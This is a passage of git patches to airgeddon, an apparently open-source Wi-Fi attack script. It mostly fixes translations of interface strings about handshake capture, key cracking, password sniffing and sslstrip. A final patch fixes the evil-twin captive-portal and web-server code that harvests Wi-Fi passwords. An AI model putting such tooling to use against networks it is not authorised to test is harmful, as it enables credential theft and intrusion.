usar este BSSID já seleccionada? "${normal_color}"[y/n]" arr["russian",193]="Вы хотите использовать эту уже выбранную BSSID? "${normal_color}"[y/n]" - arr["greek",193]="Θέλετε να χρησιμοποιήσετε το ήδη επιλεγμένο BSSID? "${normal_color}"[y/n]" + arr["greek",193]="Θέλετε να χρησιμοποιήσετε το ήδη επιλεγμένο BSSID; "${normal_color}"[y/n]" arr["english",194]="Enter the minimum length of the key to decrypt (8-63) :" arr["spanish",194]="Introduce la longitud mínima de la clave a desencriptar (8-63) :" @@ -2354,7 +2354,7 @@ function language_strings() { arr["catalan",235]="¿Vols desar el fitxer de trofeu amb la clau desencriptada? "${normal_color}"[y/n]" arr["portuguese",235]="Você quer salvar arquivo com a senha descriptografado?? "${normal_color}"[y/n]" arr["russian",235]="Вы хотите сохранить трофейный файл с расшифрованным паролем? "${normal_color}"[y/n]" - arr["greek",235]="Θέλετε να αποθηκεύσετε το αρχείο τρόπαιο με τον αποκρυπτογραφημένο κωδικό πρόσβασης? "${normal_color}"[y/n]" + arr["greek",235]="Θέλετε να αποθηκεύσετε το αρχείο τρόπαιο με τον αποκρυπτογραφημένο κωδικό πρόσβασης; "${normal_color}"[y/n]" arr["english",236]="Hashcat trophy file generated successfully at ["${normal_color}"$potenteredpath"${blue_color}"]" arr["spanish",236]="Fichero de trofeo hashcat generado con éxito en ["${normal_color}"$potenteredpath"${blue_color}"]" @@ -2394,7 +2394,7 @@ function language_strings() { arr["catalan",240]="¿Vols fer servir aquest fitxer de regles ja seleccionat? "${normal_color}"[y/n]" arr["portuguese",240]="Você quer usar esse arquivo regras já selecionados? "${normal_color}"[y/n]" arr["russian",240]="Вы хотите использовать этот уже выбранный файл правил? "${normal_color}"[y/n]" - arr["greek",240]="Θέλετε να χρησιμοποιήσετε το ήδη επιλεγμένο αρχείο κανόνων? "${normal_color}"[y/n]" + arr["greek",240]="Θέλετε να χρησιμοποιήσετε το ήδη επιλεγμένο αρχείο κανόνων; "${normal_color}"[y/n]" arr["english",241]="The path to the rules file is valid. Script can continue..." arr["spanish",241]="La ruta al fichero de reglas es válida. El script puede continuar..." @@ -2690,7 +2690,7 @@ function language_strings() { arr["catalan",277]="¿Vols continuar? "${normal_color}"[y/n]" arr["portuguese",277]="Você deseja continuar? "${normal_color}"[y/n]" arr["russian",277]="Вы хотите продолжить? "${normal_color}"[y/n]" - arr["greek",277]="Θέλετε να συνεχίσετε? "${normal_color}"[y/n]" + arr["greek",277]="Θέλετε να συνεχίσετε; "${normal_color}"[y/n]" arr["english",278]="Deauthentication chosen method: "${pink_color}"None"${normal_color} arr["spanish",278]="Método elegido de desautenticación: "${pink_color}"Ninguno"${normal_color} @@ -2746,7 +2746,7 @@ function language_strings() { arr["catalan",284]="¿Vols fer servir aquesta interfície ja seleccionada? "${normal_color}"[y/n]" arr["portuguese",284]="Você quer usar essa interface selecionada? "${normal_color}"[y/n]" arr["russian",284]="Вы хотите использовать этот выбранный интерфейс? "${normal_color}"[y/n]" - arr["greek",284]="Θέλετε να χρησιμοποιήσετε αυτή την επιλεγμένη διεπαφή? "${normal_color}"[y/n]" + arr["greek",284]="Θέλετε να χρησιμοποιήσετε αυτή την επιλεγμένη διεπαφή; "${normal_color}"[y/n]" arr["english",285]="Selected interface with internet access detected during this session ["${normal_color}"$internet_interface"${blue_color}"]" arr["spanish",285]="Se ha detectado que ya tiene un interfaz con acceso a internet seleccionada en esta sesión ["${normal_color}"$internet_interface"${blue_color}"]" @@ -2890,7 +2890,7 @@ function language_strings() { arr["catalan",302]="¿Vols guardar en un fitxer les contrasenyes obtingudes del sniffing? "${blue_color}"Si respons que no (\"n\") només es mostraran per pantalla "${normal_color}"[y/n]" arr["portuguese",302]="Você deseja armazenar em um arquivo as senhas obtidas com o sniffer? "${blue_color}"Se você responder não (\"n\") só será mostrado na tela "${normal_color}"[y/n]" arr["russian",302]="Вы хотите сохранить в файл захваченные сниффингом пароли? "${blue_color}"Если ваш ответ нет (\"n\") они будут только показаны на экране "${normal_color}"[y/n]" - arr["greek",302]="Θέλετε να αποθηκεύσετε σε ένα αρχείο τους sniffed κωδικούς πρόσβασης? "${blue_color}"Αν απαντήσετε όχι (\"n\") απλά θα εμφανιστούν στην οθόνη "${normal_color}"[y/n]" + arr["greek",302]="Θέλετε να αποθηκεύσετε σε ένα αρχείο τους sniffed κωδικούς πρόσβασης; "${blue_color}"Αν απαντήσετε όχι (\"n\") απλά θα εμφανιστούν στην οθόνη "${normal_color}"[y/n]" arr["english",303]="Type the path to store the file or press Enter to accept the default proposal "${normal_color}"[$default_ettercap_logpath]" arr["spanish",303]="Escribe la ruta donde guardaremos el fichero o pulsa Enter para aceptar la propuesta por defecto "${normal_color}"[$default_ettercap_logpath]" @@ -2946,7 +2946,7 @@ function language_strings() { arr["catalan",309]="La tècnica sslstrip no és infal·lible. Depèn de molts factors i no funciona sempre. Alguns navegadors com les últimes versions de Mozilla Firefox no es veuen afectats" arr["portuguese",309]="A técnica sslstrip não é infalível. Depende de muitos fatores e nem sempre funciona. Alguns navegadores como o Mozilla Firefox nas versões mais recentes não são afetados" arr["russian",309]="Техника sslstrip не является надёжной. Эффект программы зависит от многих факторов и иногда она просто не работает. Некоторые браузеры, такие как Mozilla Firefox последних версий, не подвержены атаке" - arr["greek",309]="Η τεχνική sslstrip δεν είναι αλάνθαστη. Εξαρτάται από πολλούς παράγοντες και δεν δουλεύει πάντα. Κάποιοι περιηγητές όπως οι τελευταίες εκδόσεις του Mozilla Firefox δεν επηρεάζονται" + arr["greek",309]="Η τεχνική sslstrip δεν είναι αλάνθαστη. Εξαρτάται από πολλούς παράγοντες και δεν δουλεύει πάντα. Κάποιοι περιηγητές ιστού όπως οι τελευταίες εκδόσεις του Mozilla Firefox δεν επηρεάζονται" arr["english",310]="Handshake file selected: "${pink_color}"None"${normal_color} arr["spanish",310]="Fichero de Handshake seleccionado: "${pink_color}"Ninguno"${normal_color} From 39b89606fead41873bea922109645c49aed0e6bc Mon Sep 17 00:00:00 2001 From: Mi-Al Date: Tue, 11 Oct 2016 04:33:13 +0300 Subject: [PATCH 20/23] Updating Russian translation (minor fixes) --- airgeddon.sh | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index f1c1b9b15..70a7eb512 100644 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -464,7 +464,7 @@ function language_strings() { et_misc_texts["french",26]="Erreur. La clé de sécurité doit contenir au moins 8 caractères. Retour à l'écran principal" et_misc_texts["catalan",26]="Error. La contrasenya ha de tenir almenys 8 caràcters. Redirigint a la pantalla principal" et_misc_texts["portuguese",26]="Erro. A senha deve ter no mínimo 8 caracteres. Redirecionando para a pagina principal" - et_misc_texts["russian",26]="Ошибка. В пароле должно быть не менее 8 символов. Перенаправление на главный экран" + et_misc_texts["russian",26]="Ошибка. В пароле должно быть не менее 8 символов. Перенаправление на главную страницу" et_misc_texts["greek",26]="Σφάλμα. Ο κωδικός πρόσβασης πρέπει να αποτελείται από τουλάχιστον 8 χαρακτήρες. Θα καθοδηγηθείτε στην κύρια οθόνη" declare -A arr @@ -1889,7 +1889,7 @@ function language_strings() { arr["french",177]="Fichier de capture sélectionné: "${pink_color}"Aucun"${normal_color} arr["catalan",177]="Fitxer capturat seleccionat: "${pink_color}"Ningú"${normal_color} arr["portuguese",177]="Selecione o arquivo capturado: "${pink_color}"Nenhum"${normal_color} - arr["russian",177]="Выбран захваченный файл: "${pink_color}"None"${normal_color} + arr["russian",177]="Выбран файл захвата: "${pink_color}"Нет"${normal_color} arr["greek",177]="Επιλεγμένο αρχείο καταγραφής: "${pink_color}"Κανένα"${normal_color} arr["english",178]="To decrypt the key of a WPA/WPA2 network, the capture file must contain a Handshake" @@ -1953,7 +1953,7 @@ function language_strings() { arr["french",185]="BSSID sélectionné: "${pink_color}"Aucun"${normal_color} arr["catalan",185]="BSSID seleccionat: "${pink_color}"Ningú"${normal_color} arr["portuguese",185]="BSSID selecionado: "${pink_color}"Nenhum"${normal_color} - arr["russian",185]="Выбранная BSSID: "${pink_color}"None"${normal_color} + arr["russian",185]="Выбранная BSSID: "${pink_color}"Нет"${normal_color} arr["greek",185]="Επιλεγμένο BSSID: "${pink_color}"Κανένα"${normal_color} arr["english",186]="You already have selected a capture file during this session ["${normal_color}"$enteredpath"${blue_color}"]" @@ -2641,7 +2641,7 @@ function language_strings() { arr["french",271]="BSSID sélectionné: "${pink_color}"Aucun"${normal_color} arr["catalan",271]="BSSID seleccionat: "${pink_color}"Ningú"${normal_color} arr["portuguese",271]="BSSID selecionado: "${pink_color}"Nenhum"${normal_color} - arr["russian",271]="Выбранная BSSID: "${pink_color}"None"${normal_color} + arr["russian",271]="Выбранная BSSID: "${pink_color}"Нет"${normal_color} arr["greek",271]="Επιλεγμένο BSSID: "${pink_color}"Κανένα"${normal_color} arr["english",272]="Deauthentication chosen method: "${pink_color}"$et_dos_attack"${normal_color} @@ -2657,7 +2657,7 @@ function language_strings() { arr["french",273]="Canal sélectionné: "${pink_color}"Aucun"${normal_color} arr["catalan",273]="Canal seleccionat: "${pink_color}"Ningú"${normal_color} arr["portuguese",273]="Canal selecionado: "${pink_color}"Nenhum"${normal_color} - arr["russian",273]="Выбранный канал: "${pink_color}"None"${normal_color} + arr["russian",273]="Выбранный канал: "${pink_color}"Нет"${normal_color} arr["greek",273]="Επιλεγμένο κανάλι: "${pink_color}"Κανένα"${normal_color} arr["english",274]="Selected ESSID: "${pink_color}"None"${normal_color} @@ -2665,7 +2665,7 @@ function language_strings() { arr["french",274]="ESSID sélectionné: "${pink_color}"Aucun"${normal_color} arr["catalan",274]="ESSID seleccionat: "${pink_color}"Ningú"${normal_color} arr["portuguese",274]="ESSID selecionado: "${pink_color}"Nenhum"${normal_color} - arr["russian",274]="Выбранная ESSID: "${pink_color}"None"${normal_color} + arr["russian",274]="Выбранная ESSID: "${pink_color}"Нет"${normal_color} arr["greek",274]="Επιλεγμένο ESSID: "${pink_color}"Κανένα"${normal_color} arr["english",275]="In addition to the software requirements that already meet if you get here, you need to provide target AP data to carry out the attack" @@ -2697,7 +2697,7 @@ function language_strings() { arr["french",278]="Méthode de dés-authentification: "${pink_color}"Aucun"${normal_color} arr["catalan",278]="Mètode elegit d'desautenticació: "${pink_color}"Ningú"${normal_color} arr["portuguese",278]="Método de desautenticação escolhido: "${pink_color}"Nenhum"${normal_color} - arr["russian",278]="Выбор метода деаутентификации: "${pink_color}"None"${normal_color} + arr["russian",278]="Выбор метода деаутентификации: "${pink_color}"Нет"${normal_color} arr["greek",278]="Επιλεγμένη μέθοδος deauthentication: "${pink_color}"Καμία"${normal_color} arr["english",279]="Select another interface with internet access :" @@ -2737,7 +2737,7 @@ function language_strings() { arr["french",283]="Interface internet sélectionnée: "${pink_color}"Aucun"${normal_color} arr["catalan",283]="Interfície amb internet seleccionat: "${pink_color}"Ningú"${normal_color} arr["portuguese",283]="Interface da internet selecionado: "${pink_color}"Nenhum"${normal_color} - arr["russian",283]="Выбранный Интернет интерфейс: "${pink_color}"Отсутствует"${normal_color} + arr["russian",283]="Выбранный Интернет интерфейс: "${pink_color}"Нет"${normal_color} arr["greek",283]="Επιλεγμένη διεπαφή με πρόσβαση στο διαδίκτυο: "${pink_color}"Καμία"${normal_color} arr["english",284]="Do you want to use this selected interface? "${normal_color}"[y/n]" From e9895ab8b85ac719543e5f35da7e088f2e91e1d2 Mon Sep 17 00:00:00 2001 From: Luan Date: Tue, 11 Oct 2016 03:07:18 -0300 Subject: [PATCH 21/23] Correction to Portuguese translation --- airgeddon.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/airgeddon.sh b/airgeddon.sh index 70a7eb512..3c10608a7 100644 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -431,7 +431,7 @@ function language_strings() { et_misc_texts["spanish",22]="Contraseñas capturadas en intentos fallidos" et_misc_texts["french",22]="Mots de passe capturés lors des tentatives infructueuses" et_misc_texts["catalan",22]="Contrasenyes capturades en intents fallits" - et_misc_texts["portuguese",22]="Senhas capturadas em tentativas falhadas" + et_misc_texts["portuguese",22]="Senhas erradas capturadas durante as tentativas" et_misc_texts["russian",22]="Пароли, захваченные в неудачных попытках" et_misc_texts["greek",22]="Καταγεγραμμένοι κωδικοί πρόσβασης σε αποτυχημένες προσπάθειες" From 08691affec4565934da1224ee14be17e456945c2 Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Tue, 11 Oct 2016 11:33:21 +0200 Subject: [PATCH 22/23] Some catalan translations added. --- airgeddon.sh | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index 3c10608a7..590f6a8d6 100644 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -2352,7 +2352,7 @@ function language_strings() { arr["spanish",235]="¿Quieres guardar el fichero de trofeo con la clave desencriptada? "${normal_color}"[y/n]" arr["french",235]="Voulez-vous enregistrer le fichier trophée avec le mot de passe déchiffré? "${normal_color}"[y/n]" arr["catalan",235]="¿Vols desar el fitxer de trofeu amb la clau desencriptada? "${normal_color}"[y/n]" - arr["portuguese",235]="Você quer salvar arquivo com a senha descriptografado?? "${normal_color}"[y/n]" + arr["portuguese",235]="Você quer salvar arquivo com a senha descriptografado? "${normal_color}"[y/n]" arr["russian",235]="Вы хотите сохранить трофейный файл с расшифрованным паролем? "${normal_color}"[y/n]" arr["greek",235]="Θέλετε να αποθηκεύσετε το αρχείο τρόπαιο με τον αποκρυπτογραφημένο κωδικό πρόσβασης; "${normal_color}"[y/n]" @@ -2376,7 +2376,7 @@ function language_strings() { arr["spanish",238]="Menú de selección de juego de caracteres" arr["french",238]="Menu de sélection du jeu de caractères" arr["catalan",238]="Menú de selecció de joc de caràcters" - arr["portuguese",238]="Menu de seleção do conjunto de caracteres " + arr["portuguese",238]="Menu de seleção do conjunto de caracteres" arr["russian",238]="Меню выбора набора символов" arr["greek",238]="Μενού επιλογής συμβολοσειράς" @@ -2759,7 +2759,7 @@ function language_strings() { arr["english",286]="If you don't have a captured Handshake file from the target network you can get it now" arr["spanish",286]="Si no tienes un fichero de Handshake capturado de la red objetivo puedes obtenerlo ahora" arr["french",286]="Si vous n'avez pas un fichier de capture contenant un Handshake du réseau cible vous pouvez l'obtenir maintenant" - arr["catalan",286]="$pending_of_translation Si no tens un fitxer de Handshake capturat de la xarxa objectiu pots obtenir-lo ara" + arr["catalan",286]="Si no tens un fitxer de Handshake capturat de la xarxa objectiu pots obtenir-ho ara" arr["portuguese",286]="Se você não tem um arquivo Handshake capturado da rede alvo você pode obtê-lo agora" arr["russian",286]="Если у вас отсутствует файл с рукопожатием целевой сети, вы можете сейчас захватить его" arr["greek",286]="Εάν δεν έχετε κάποιο αρχείο Χειραψίας από το δίκτυο-στόχος μπορείτε να το πάρετε τώρα" @@ -2999,7 +2999,7 @@ function language_strings() { arr["english",316]="An exploration looking for targets is going to be done..." arr["spanish",316]="Se va a realizar una exploración en busca de objetivos..." arr["french",316]="Recherche de réseaux cible..." - arr["catalan",316]="$pending_of_translation Es va a realitzar una exploració a la recerca d'objectius..." + arr["catalan",316]="Es realitzarà una exploració a la recerca d'objectius..." arr["portuguese",316]="Uma busca por redes wifi será realizada..." arr["russian",316]="Выполнение сканирования целей..." arr["greek",316]="Πρόκειται να γίνει μία εξερεύνηση για έυρεση στόχων..." @@ -3039,7 +3039,7 @@ function language_strings() { arr["english",321]="Do you already have a captured Handshake file? "${blue_color}"Answer yes (\"y\") to enter the path or answer no (\"n\") to capture a new one now "${normal_color}"[y/n]" arr["spanish",321]="¿Tienes ya un fichero de Handshake capturado? "${blue_color}"Responde sí (\"y\") para introducir la ruta o responde no (\"n\") para capturar uno ahora "${normal_color}"[y/n]" arr["french",321]="Avez-vous déjà un fichier contenant un Handshake capturé? "${blue_color}"Répondre oui (\"y\") pour en saisir la route o buien répondre non (\"n\") pour le capturer "${normal_color}"[y/n]" - arr["catalan",321]="$pending_of_translation ¿Tens ja un fitxer de Handshake capturat? "${blue_color}"Respon si (\"y\") per introduir la ruta o respon no (\"n\") per capturar un ara "${normal_color}"[y/n]" + arr["catalan",321]="¿Tens ja un fitxer de Handshake capturat? "${blue_color}"Respon si (\"y\") per introduir la ruta o respon no (\"n\") per capturar-ne un ara "${normal_color}"[y/n]" arr["portuguese",321]="Você já tem um arquivo Handshake capturado? "${blue_color}"Responda sim (\"y\") para colocar o caminho do arquivo ou responda não (\"n\") para capturar um novo arquivo agora "${normal_color}"[y/n]" arr["russian",321]="У вас уже есть захваченный файл рукопожатия? "${blue_color}"Ответьте Да (\"y\"), для ввода пути или ответьте Нет (\"n\"), для захвата нового рукопожатия "${normal_color}"[y/n]" arr["greek",321]="Έχετε ήδη κάποιο αρχείο Χειραψίας; "${blue_color}"Απαντήστε ναι (\"y\") για να εισαγάγετε το μονοπάτι ή απαντήστε όχι (\"n\") για να καταγράψετε ένα νέο τώρα "${normal_color}"[y/n]" @@ -3047,7 +3047,7 @@ function language_strings() { arr["english",322]="It has been checked that there is a Handshake of the chosen target network while checking the selected capture file. Script can continue..." arr["spanish",322]="Se ha comprobado que existe un Handshake de la red elegida como objetivo durante la exploración en el fichero de captura seleccionado. El script puede continuar..." arr["french",322]="Un Handhsake du réseau cible a bien été retrouvé dans le paquet de capture préalablement choisi. Le script peut donc continuer..." - arr["catalan",322]="$pending_of_translation S'ha comprovat que hi ha un Handshake de la xarxa triada com a objectiu durant l'exploració en el fitxer de captura seleccionat. El script pot continuar..." + arr["catalan",322]="S'ha comprovat que hi ha un Handshake de la xarxa triada com a objectiu durant l'exploració en el fitxer de captura seleccionat. El script pot continuar..." arr["portuguese",322]="Verificou-se que no arquivo de captura existe um Handshake da rede da selecionada como o alvo. O script pode continuar..." arr["russian",322]="Проверка подтвердила, что рукопожатие относится к выбранной целевой сети. Скрипт может продолжать..." arr["greek",322]="Εντοπίστηκε η παρουσία Χειραψίας για το επιλεγμένο δίκτυο-στόχος καθώς γινόταν έλεγχος του επιλεγμένου αρχείου καταγραφής. Το script μπορεί να συνεχίσει..." @@ -3055,7 +3055,7 @@ function language_strings() { arr["english",323]="There is no Handshake of the selected network on the capture file" arr["spanish",323]="No se ha encontrado un Handshake de la red seleccionada en el fichero de captura" arr["french",323]="Aucun Handshake du réseau cible n'a été retrouvé dans le fichier de captures" - arr["catalan",323]="$pending_of_translation No s'ha trobat un Handshake de la xarxa seleccionada en el fitxer de captura" + arr["catalan",323]="No s'ha trobat un Handshake de la xarxa seleccionada en el fitxer de captura" arr["portuguese",323]="Não foi encontrado nenhum Handshake da rede selecionada no arquivo de captura" arr["russian",323]="В файле захвата отсутствует рукопожатие выбранной сети" arr["greek",323]="Δεν υπάρχει Χειραψία του επιλεγμένου δικτύου στο αρχείο καταγραφής" @@ -3071,7 +3071,7 @@ function language_strings() { arr["english",325]="Wait. Be patient..." arr["spanish",325]="Espera. Ten un poco de paciencia..." arr["french",325]="Attendez. Soyez un peu patients..." - arr["catalan",325]="$pending_of_translation Espera. Tingues una mica de paciència..." + arr["catalan",325]="Espera. Tingues una mica de paciència..." arr["portuguese",325]="Aguarde. Por favor, seja paciente..." arr["russian",325]="Пожалуйста, подождите..." arr["greek",325]="Περιμένετε. Έχετε λίγη υπομονή..." From f629a100c75038a1afcb9f5ec32df94b46c20700 Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Tue, 11 Oct 2016 21:09:33 +0200 Subject: [PATCH 23/23] Fixed bug of intermitent failed starting lighttpd. Fixed bug ET captive portal with captured password and repeating network without closing script. --- airgeddon.sh | 19 +++++++++++++------ 1 file changed, 13 insertions(+), 6 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index 590f6a8d6..47943e445 100644 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -4694,8 +4694,13 @@ function check_bssid_in_captured_file() { echo if [ "$nets_from_file" = "" ]; then - language_strings ${language} 216 "yellow" - language_strings ${language} 115 "read" + if [ ! -f "$1" ]; then + language_strings ${language} 161 "yellow" + language_strings ${language} 115 "read" + else + language_strings ${language} 216 "yellow" + language_strings ${language} 115 "read" + fi return 1 fi @@ -5209,6 +5214,7 @@ function exec_et_onlyap_attack() { kill_et_windows restore_et_interface + clean_tmpfiles } function exec_et_sniffing_attack() { @@ -5232,6 +5238,7 @@ function exec_et_sniffing_attack() { if [ ${ettercap_log} -eq 1 ]; then parse_ettercap_log fi + clean_tmpfiles } function exec_et_sniffing_sslstrip_attack() { @@ -5256,6 +5263,7 @@ function exec_et_sniffing_sslstrip_attack() { if [ ${ettercap_log} -eq 1 ]; then parse_ettercap_log fi + clean_tmpfiles } function exec_et_captive_portal_attack() { @@ -5279,6 +5287,7 @@ function exec_et_captive_portal_attack() { kill_et_windows restore_et_interface + clean_tmpfiles } function set_hostapd_config() { @@ -5496,7 +5505,7 @@ function set_control_script() { cat >&7 <<-'EOF' function kill_et_windows() { - et_processes_to_kill=$(cat "$path_to_processes") + et_processes_to_kill=$(cat "$path_to_processes" 2> /dev/null) for item in ${et_processes_to_kill[@]}; do kill ${item} &> /dev/null done @@ -5790,7 +5799,6 @@ function set_captive_portal_page() { echo -e "}\n" >> "$tmpdir$webdir$jsfile" echo -e "#!/bin/bash" > "$tmpdir$webdir$indexfile" - echo -e 'Content-type: text/html\n' >> "$tmpdir$webdir$indexfile" echo -e "echo ''" >> "$tmpdir$webdir$indexfile" echo -e "echo ''" >> "$tmpdir$webdir$indexfile" echo -e "echo -e '\t'" >> "$tmpdir$webdir$indexfile" @@ -5822,7 +5830,6 @@ function set_captive_portal_page() { cat >&4 <<-EOF #!/bin/bash - echo -e 'Content-type: text/html\n' echo '' echo '' echo -e '\t' @@ -5920,7 +5927,7 @@ function launch_webserver() { killall lighttpd > /dev/null 2>&1 recalculate_windows_sizes - xterm -hold -bg black -fg yellow -geometry ${g3_bottomright_window} -T "Webserver" -e "lighttpd -f \"$tmpdir$webserver_file\"" > /dev/null 2>&1 & + xterm -hold -bg black -fg yellow -geometry ${g3_bottomright_window} -T "Webserver" -e "lighttpd -D -f \"$tmpdir$webserver_file\"" > /dev/null 2>&1 & et_processes+=($!) }